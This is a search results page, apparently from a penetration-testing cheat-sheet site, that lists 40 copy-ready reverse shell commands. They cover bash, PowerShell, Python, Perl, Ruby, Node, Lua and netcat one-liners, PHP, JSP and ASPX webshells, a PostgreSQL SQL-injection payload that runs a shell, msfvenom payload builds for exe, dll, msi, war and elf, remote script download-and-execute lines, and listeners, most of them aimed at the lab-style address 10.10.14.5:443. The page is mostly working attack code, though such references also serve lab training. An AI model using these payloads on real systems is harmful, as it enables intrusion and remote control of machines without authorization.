Search everything
40 results for «reverse shell» Show all types
Commands 40
-
Reverse shell with COPY
SQL injection payloads › PostgreSQL › Files and RCE
'; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"';-- -
One-liner reverse shell
Reverse shell generator › Windows › PowerShell
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('10.10.14.5',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()" -
Webshell that launches the reverse shell
Reverse shell generator › Webshells › PHP
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'"); ?> -
Catch a reverse shell from the internal network
Ligolo-ng › Recent versions (0.6 or later)
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp -
When the PowerShell reverse shell fails: use netcat
Evasion explained: AMSI, ETW and AppLocker › AppLocker / CLM › Where it leaks (concepts)
# Es la lección de Sniper: en modo restringido el one-liner de PowerShell no corre, pero un nc.exe subido a una carpeta permitida sí. nc.exe 10.10.14.5 443 -e cmd.exe -
C shellcode for Windows
Reverse shell generator › msfvenom › Shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 EXITFUNC=thread -b '\x00\x0a\x0d' -f c -
Python shellcode without null bytes
Reverse shell generator › msfvenom › Shellcode
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -b '\x00' -f python -
Minimal webshell
Reverse shell generator › Webshells › PHP
<?php system($_GET['cmd']); ?> -
Listener for ConPtyShell
Reverse shell generator › Windows › With binaries
stty raw -echo; (stty size; cat) | nc -lvnp 443 -
Call the webshell with curl
Reverse shell generator › Webshells › PHP
curl -G 'http://VICTIMA/uploads/shell.php' --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'" -
Full TTY on Windows (ConPtyShell)
Reverse shell generator › Windows › With binaries
IEX(IWR http://10.10.14.5/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.10.14.5 443 -
Nishang Invoke-PowerShellTcp from your server
Reverse shell generator › Windows › PowerShell
powershell -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 443" -
JSP
Reverse shell generator › Webshells › Other languages
<% Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.5/443 0>&1"}); %> -
Lua
Reverse shell generator › Linux › Scripting languages
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.10.14.5','443');os.execute('sh -i <&3 >&3 2>&3');" -
PHP
Reverse shell generator › Linux › Scripting languages
php -r '$s=fsockopen("10.10.14.5",443);exec("sh <&3 >&3 2>&3");' -
PHP
Reverse shell generator › msfvenom › Web
msfvenom -p php/reverse_php LHOST=10.10.14.5 LPORT=443 -f raw -o shell.php -
Perl
Reverse shell generator › Linux › Scripting languages
perl -e 'use Socket;$i="10.10.14.5";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};' -
Ruby
Reverse shell generator › Linux › Scripting languages
ruby -rsocket -e 'f=TCPSocket.open("10.10.14.5",443).to_i;exec sprintf("sh -i <&%d >&%d 2>&%d",f,f,f)' -
Listen
Reverse shell generator › Linux › Fully interactive shell (socat)
socat file:`tty`,raw,echo=0 tcp-listen:443 -
netcat
Reverse shell generator › Linux › Listen on your machine
nc -lvnp 443 -
BusyBox
Reverse shell generator › Linux › Netcat
busybox nc 10.10.14.5 443 -e sh -
Connect
Reverse shell generator › Linux › Fully interactive shell (socat)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.5:443 -
Node.js
Reverse shell generator › Linux › Scripting languages
node -e 'sh=require("child_process").spawn("sh");require("net").connect(443,"10.10.14.5",function(){this.pipe(sh.stdin);sh.stdout.pipe(this);sh.stderr.pipe(this)})' -
Python 3
Reverse shell generator › Linux › Scripting languages
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.5",443));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("bash")' -
nc with -e
Reverse shell generator › Linux › Netcat
nc -e /bin/bash 10.10.14.5 443 -
WAR (Tomcat)
Reverse shell generator › msfvenom › Web
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f war -o shell.war -
Linux ELF x64
Reverse shell generator › msfvenom › Executables
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f elf -o shell.elf -
ASPX (Windows)
Reverse shell generator › Webshells › Other languages
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f aspx -o shell.aspx -
Windows EXE x64
Reverse shell generator › msfvenom › Executables
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f exe -o shell.exe -
Find your VPN IP
Reverse shell generator › Linux › Listen on your machine
ip -4 addr show tun0 | grep -oP '(?<=inet )[\d.]+' -
Bash via /dev/tcp
Reverse shell generator › Linux › Bash
bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1' -
Install a malicious MSI
Windows and Active Directory privilege escalation › Windows › AlwaysInstallElevated
msiexec /quiet /qn /i C:\Windows\Temp\shell.msi -
mkfifo (works with any nc)
Reverse shell generator › Linux › Netcat
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 443 >/tmp/f -
Windows DLL (DLL hijacking)
Reverse shell generator › msfvenom › Executables
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f dll -o shell.dll -
Bash with file descriptor 196
Reverse shell generator › Linux › Bash
0<&196;exec 196<>/dev/tcp/10.10.14.5/443; sh <&196 >&196 2>&196 -
History and arrows with rlwrap
Upgrade your shell to a full TTY › Other cases › Windows
rlwrap -cAr nc -lvnp 443 -
nc.exe from your own SMB share
Reverse shell generator › Windows › With binaries
\\10.10.14.5\share\nc.exe -e cmd.exe 10.10.14.5 443 -
For URL injections (no spaces or &)
Reverse shell generator › Linux › Bash
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.5%2F443%200%3E%261%22 -
Windows MSI (for AlwaysInstallElevated)
Reverse shell generator › msfvenom › Executables
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f msi -o shell.msi -
netcat with history and arrow keys (rlwrap)
Reverse shell generator › Linux › Listen on your machine
rlwrap -cAr nc -lvnp 443